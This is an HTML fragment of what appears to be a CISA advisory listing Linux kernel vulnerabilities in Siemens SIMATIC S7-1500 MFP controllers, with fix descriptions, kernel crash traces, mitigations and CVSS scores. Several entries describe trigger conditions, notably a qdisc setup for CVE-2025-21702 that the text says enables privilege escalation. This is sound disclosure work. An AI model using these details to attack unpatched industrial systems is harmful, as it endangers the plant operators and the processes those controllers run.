<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21702</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pfifo_tail_enqueue: Drop new packet when sch-&gt;limit == 0 Expected behaviour: In case we reach scheduler's limit, pfifo_tail_enqueue() will drop a packet in scheduler's queue and decrease scheduler's qlen by one. Then, pfifo_tail_enqueue() enqueue new packet and increase scheduler's qlen by one. Finally, pfifo_tail_enqueue() return `NET_XMIT_CN` status code. Weird behaviour: In case we set `sch-&gt;limit == 0` and trigger pfifo_tail_enqueue() on a scheduler that has no packet, the 'drop a packet' step will do nothing. This means the scheduler's qlen still has value equal 0. Then, we continue to enqueue new packet and increase scheduler's qlen by one. In summary, we can leverage pfifo_tail_enqueue() to increase qlen by one and return `NET_XMIT_CN` status code. The problem is: Let's say we have two qdiscs: Qdisc_A and Qdisc_B. - Qdisc_A's type must have '-&gt;graft()' function to create parent/child relationship. Let's say Qdisc_A's type is `hfsc`. Enqueue packet to this qdisc will trigger `hfsc_enqueue`. - Qdisc_B's type is pfifo_head_drop. Enqueue packet to this qdisc will trigger `pfifo_tail_enqueue`. - Qdisc_B is configured to have `sch-&gt;limit == 0`. - Qdisc_A is configured to route the enqueued's packet to Qdisc_B. Enqueue packet through Qdisc_A will lead to: - hfsc_enqueue(Qdisc_A) -&gt; pfifo_tail_enqueue(Qdisc_B) - Qdisc_B-&gt;q.qlen += 1 - pfifo_tail_enqueue() return `NET_XMIT_CN` - hfsc_enqueue() check for `NET_XMIT_SUCCESS` and see `NET_XMIT_CN` =&gt; hfsc_enqueue() don't increase qlen of Qdisc_A. The whole process lead to a situation where Qdisc_A-&gt;q.qlen == 0 and Qdisc_B-&gt;q.qlen == 1. Replace 'hfsc' with other type (for example: 'drr') still lead to the same problem. This violate the design where parent's qlen should equal to the sum of its childrens'qlen. Bug impact: This issue can be used for user-&gt;kernel privilege escalation when it is reachable.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21702">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21705</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: handle fastopen disconnect correctly Syzbot was able to trigger a data stream corruption: WARNING: CPU: 0 PID: 9846 at net/mptcp/protocol.c:1024 __mptcp_clean_una+0xddb/0xff0 net/mptcp/protocol.c:1024 Modules linked in: CPU: 0 UID: 0 PID: 9846 Comm: syz-executor351 Not tainted 6.13.0-rc2-syzkaller-00059-g00a5acdbf398 #0 Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 11/25/2024 RIP: 0010:__mptcp_clean_una+0xddb/0xff0 net/mptcp/protocol.c:1024 Code: fa ff ff 48 8b 4c 24 18 80 e1 07 fe c1 38 c1 0f 8c 8e fa ff ff 48 8b 7c 24 18 e8 e0 db 54 f6 e9 7f fa ff ff e8 e6 80 ee f5 90 &lt;0f&gt; 0b 90 4c 8b 6c 24 40 4d 89 f4 e9 04 f5 ff ff 44 89 f1 80 e1 07 RSP: 0018:ffffc9000c0cf400 EFLAGS: 00010293 RAX: ffffffff8bb0dd5a RBX: ffff888033f5d230 RCX: ffff888059ce8000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc9000c0cf518 R08: ffffffff8bb0d1dd R09: 1ffff110170c8928 R10: dffffc0000000000 R11: ffffed10170c8929 R12: 0000000000000000 R13: ffff888033f5d220 R14: dffffc0000000000 R15: ffff8880592b8000 FS: 00007f6e866496c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f6e86f491a0 CR3: 00000000310e6000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: __mptcp_clean_una_wakeup+0x7f/0x2d0 net/mptcp/protocol.c:1074 mptcp_release_cb+0x7cb/0xb30 net/mptcp/protocol.c:3493 release_sock+0x1aa/0x1f0 net/core/sock.c:3640 inet_wait_for_connect net/ipv4/af_inet.c:609 [inline] __inet_stream_connect+0x8bd/0xf30 net/ipv4/af_inet.c:703 mptcp_sendmsg_fastopen+0x2a2/0x530 net/mptcp/protocol.c:1755 mptcp_sendmsg+0x1884/0x1b10 net/mptcp/protocol.c:1830 sock_sendmsg_nosec net/socket.c:711 [inline] __sock_sendmsg+0x1a6/0x270 net/socket.c:726 ____sys_sendmsg+0x52a/0x7e0 net/socket.c:2583 ___sys_sendmsg net/socket.c:2637 [inline] __sys_sendmsg+0x269/0x350 net/socket.c:2669 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f6e86ebfe69 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 b1 1f 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f6e86649168 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f6e86f491b8 RCX: 00007f6e86ebfe69 RDX: 0000000030004001 RSI: 0000000020000080 RDI: 0000000000000003 RBP: 00007f6e86f491b0 R08: 00007f6e866496c0 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007f6e86f491bc R13: 000000000000006e R14: 00007ffe445d9420 R15: 00007ffe445d9508 The root cause is the bad handling of disconnect() generated internally by the MPTCP protocol in case of connect FASTOPEN errors. Address the issue increasing the socket disconnect counter even on such a case, to allow other threads waiting on the same socket lock to properly error out.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21705">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21706</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: only set fullmesh for subflow endp With the in-kernel path-manager, it is possible to change the 'fullmesh' flag. The code in mptcp_pm_nl_fullmesh() expects to change it only on 'subflow' endpoints, to recreate more or less subflows using the linked address. Unfortunately, the set_flags() hook was a bit more permissive, and allowed 'implicit' endpoints to get the 'fullmesh' flag while it is not allowed before. That's what syzbot found, triggering the following warning: WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 __mark_subflow_endp_available net/mptcp/pm_netlink.c:1496 [inline] WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_pm_nl_fullmesh net/mptcp/pm_netlink.c:1980 [inline] WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_nl_set_flags net/mptcp/pm_netlink.c:2003 [inline] WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_pm_nl_set_flags+0x974/0xdc0 net/mptcp/pm_netlink.c:2064 Modules linked in: CPU: 0 UID: 0 PID: 6499 Comm: syz.1.413 Not tainted 6.13.0-rc5-syzkaller-00172-gd1bf27c4e176 #0 Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 RIP: 0010:__mark_subflow_endp_available net/mptcp/pm_netlink.c:1496 [inline] RIP: 0010:mptcp_pm_nl_fullmesh net/mptcp/pm_netlink.c:1980 [inline] RIP: 0010:mptcp_nl_set_flags net/mptcp/pm_netlink.c:2003 [inline] RIP: 0010:mptcp_pm_nl_set_flags+0x974/0xdc0 net/mptcp/pm_netlink.c:2064 Code: 01 00 00 49 89 c5 e8 fb 45 e8 f5 e9 b8 fc ff ff e8 f1 45 e8 f5 4c 89 f7 be 03 00 00 00 e8 44 1d 0b f9 eb a0 e8 dd 45 e8 f5 90 &lt;0f&gt; 0b 90 e9 17 ff ff ff 89 d9 80 e1 07 38 c1 0f 8c c9 fc ff ff 48 RSP: 0018:ffffc9000d307240 EFLAGS: 00010293 RAX: ffffffff8bb72e03 RBX: 0000000000000000 RCX: ffff88807da88000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc9000d307430 R08: ffffffff8bb72cf0 R09: 1ffff1100b842a5e R10: dffffc0000000000 R11: ffffed100b842a5f R12: ffff88801e2e5ac0 R13: ffff88805c214800 R14: ffff88805c2152e8 R15: 1ffff1100b842a5d FS: 00005555619f6500(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020002840 CR3: 00000000247e6000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline] genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0xb14/0xec0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2542 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1321 [inline] netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1347 netlink_sendmsg+0x8e4/0xcb0 net/netlink/af_netlink.c:1891 sock_sendmsg_nosec net/socket.c:711 [inline] __sock_sendmsg+0x221/0x270 net/socket.c:726 ____sys_sendmsg+0x52a/0x7e0 net/socket.c:2583 ___sys_sendmsg net/socket.c:2637 [inline] __sys_sendmsg+0x269/0x350 net/socket.c:2669 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f5fe8785d29 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fff571f5558 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f5fe8975fa0 RCX: 00007f5fe8785d29 RDX: 0000000000000000 RSI: 0000000020000480 RDI: 0000000000000007 RBP: 00007f5fe8801b08 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f5fe8975fa0 R14: 00007f5fe8975fa0 R15: 000000 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21706">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21707</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: consolidate suboption status MPTCP maintains the received sub-options status is the bitmask carrying the received suboptions and in several bitfields carrying per suboption additional info. Zeroing the bitmask before parsing is not enough to ensure a consistent status, and the MPTCP code has to additionally clear some bitfiled depending on the actually parsed suboption. The above schema is fragile, and syzbot managed to trigger a path where a relevant bitfield is not cleared/initialized: BUG: KMSAN: uninit-value in __mptcp_expand_seq net/mptcp/options.c:1030 [inline] BUG: KMSAN: uninit-value in mptcp_expand_seq net/mptcp/protocol.h:864 [inline] BUG: KMSAN: uninit-value in ack_update_msk net/mptcp/options.c:1060 [inline] BUG: KMSAN: uninit-value in mptcp_incoming_options+0x2036/0x3d30 net/mptcp/options.c:1209 __mptcp_expand_seq net/mptcp/options.c:1030 [inline] mptcp_expand_seq net/mptcp/protocol.h:864 [inline] ack_update_msk net/mptcp/options.c:1060 [inline] mptcp_incoming_options+0x2036/0x3d30 net/mptcp/options.c:1209 tcp_data_queue+0xb4/0x7be0 net/ipv4/tcp_input.c:5233 tcp_rcv_established+0x1061/0x2510 net/ipv4/tcp_input.c:6264 tcp_v4_do_rcv+0x7f3/0x11a0 net/ipv4/tcp_ipv4.c:1916 tcp_v4_rcv+0x51df/0x5750 net/ipv4/tcp_ipv4.c:2351 ip_protocol_deliver_rcu+0x2a3/0x13d0 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x336/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:314 [inline] ip_local_deliver+0x21f/0x490 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:460 [inline] ip_rcv_finish+0x4a2/0x520 net/ipv4/ip_input.c:447 NF_HOOK include/linux/netfilter.h:314 [inline] ip_rcv+0xcd/0x380 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core net/core/dev.c:5704 [inline] __netif_receive_skb+0x319/0xa00 net/core/dev.c:5817 process_backlog+0x4ad/0xa50 net/core/dev.c:6149 __napi_poll+0xe7/0x980 net/core/dev.c:6902 napi_poll net/core/dev.c:6971 [inline] net_rx_action+0xa5a/0x19b0 net/core/dev.c:7093 handle_softirqs+0x1a0/0x7c0 kernel/softirq.c:561 __do_softirq+0x14/0x1a kernel/softirq.c:595 do_softirq+0x9a/0x100 kernel/softirq.c:462 __local_bh_enable_ip+0x9f/0xb0 kernel/softirq.c:389 local_bh_enable include/linux/bottom_half.h:33 [inline] rcu_read_unlock_bh include/linux/rcupdate.h:919 [inline] __dev_queue_xmit+0x2758/0x57d0 net/core/dev.c:4493 dev_queue_xmit include/linux/netdevice.h:3168 [inline] neigh_hh_output include/net/neighbour.h:523 [inline] neigh_output include/net/neighbour.h:537 [inline] ip_finish_output2+0x187c/0x1b70 net/ipv4/ip_output.c:236 __ip_finish_output+0x287/0x810 ip_finish_output+0x4b/0x600 net/ipv4/ip_output.c:324 NF_HOOK_COND include/linux/netfilter.h:303 [inline] ip_output+0x15f/0x3f0 net/ipv4/ip_output.c:434 dst_output include/net/dst.h:450 [inline] ip_local_out net/ipv4/ip_output.c:130 [inline] __ip_queue_xmit+0x1f2a/0x20d0 net/ipv4/ip_output.c:536 ip_queue_xmit+0x60/0x80 net/ipv4/ip_output.c:550 __tcp_transmit_skb+0x3cea/0x4900 net/ipv4/tcp_output.c:1468 tcp_transmit_skb net/ipv4/tcp_output.c:1486 [inline] tcp_write_xmit+0x3b90/0x9070 net/ipv4/tcp_output.c:2829 __tcp_push_pending_frames+0xc4/0x380 net/ipv4/tcp_output.c:3012 tcp_send_fin+0x9f6/0xf50 net/ipv4/tcp_output.c:3618 __tcp_close+0x140c/0x1550 net/ipv4/tcp.c:3130 __mptcp_close_ssk+0x74e/0x16f0 net/mptcp/protocol.c:2496 mptcp_close_ssk+0x26b/0x2c0 net/mptcp/protocol.c:2550 mptcp_pm_nl_rm_addr_or_subflow+0x635/0xd10 net/mptcp/pm_netlink.c:889 mptcp_pm_nl_rm_subflow_received net/mptcp/pm_netlink.c:924 [inline] mptcp_pm_flush_addrs_and_subflows net/mptcp/pm_netlink.c:1688 [inline] mptcp_nl_flush_addrs_list net/mptcp/pm_netlink.c:1709 [inline] mptcp_pm_nl_flush_addrs_doit+0xe10/0x1630 net/mptcp/pm_netlink.c:1750 genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline] ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21707">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21718</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: fix timer races against user threads Rose timers only acquire the socket spinlock, without checking if the socket is owned by one user thread. Add a check and rearm the timers if needed. BUG: KASAN: slab-use-after-free in rose_timer_expiry+0x31d/0x360 net/rose/rose_timer.c:174 Read of size 2 at addr ffff88802f09b82a by task swapper/0/0 CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.13.0-rc5-syzkaller-00172-gd1bf27c4e176 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x169/0x550 mm/kasan/report.c:489 kasan_report+0x143/0x180 mm/kasan/report.c:602 rose_timer_expiry+0x31d/0x360 net/rose/rose_timer.c:174 call_timer_fn+0x187/0x650 kernel/time/timer.c:1793 expire_timers kernel/time/timer.c:1844 [inline] __run_timers kernel/time/timer.c:2418 [inline] __run_timer_base+0x66a/0x8e0 kernel/time/timer.c:2430 run_timer_base kernel/time/timer.c:2439 [inline] run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2449 handle_softirqs+0x2d4/0x9b0 kernel/softirq.c:561 __do_softirq kernel/softirq.c:595 [inline] invoke_softirq kernel/softirq.c:435 [inline] __irq_exit_rcu+0xf7/0x220 kernel/softirq.c:662 irq_exit_rcu+0x9/0x30 kernel/softirq.c:678 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline] sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1049</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21718">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21731</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nbd: don't allow reconnect after disconnect Following process can cause nbd_config UAF: 1) grab nbd_config temporarily; 2) nbd_genl_disconnect() flush all recv_work() and release the initial reference: nbd_genl_disconnect nbd_disconnect_and_put nbd_disconnect flush_workqueue(nbd-&gt;recv_workq) if (test_and_clear_bit(NBD_RT_HAS_CONFIG_REF, ...)) nbd_config_put -&gt; due to step 1), reference is still not zero 3) nbd_genl_reconfigure() queue recv_work() again; nbd_genl_reconfigure config = nbd_get_config_unlocked(nbd) if (!config) -&gt; succeed if (!test_bit(NBD_RT_BOUND, ...)) -&gt; succeed nbd_reconnect_socket queue_work(nbd-&gt;recv_workq, &amp;args-&gt;work) 4) step 1) release the reference; 5) Finially, recv_work() will trigger UAF: recv_work nbd_config_put(nbd) -&gt; nbd_config is freed atomic_dec(&amp;config-&gt;recv_threads) -&gt; UAF Fix the problem by clearing NBD_RT_BOUND in nbd_genl_disconnect(), so that nbd_genl_reconfigure() will fail.</p>
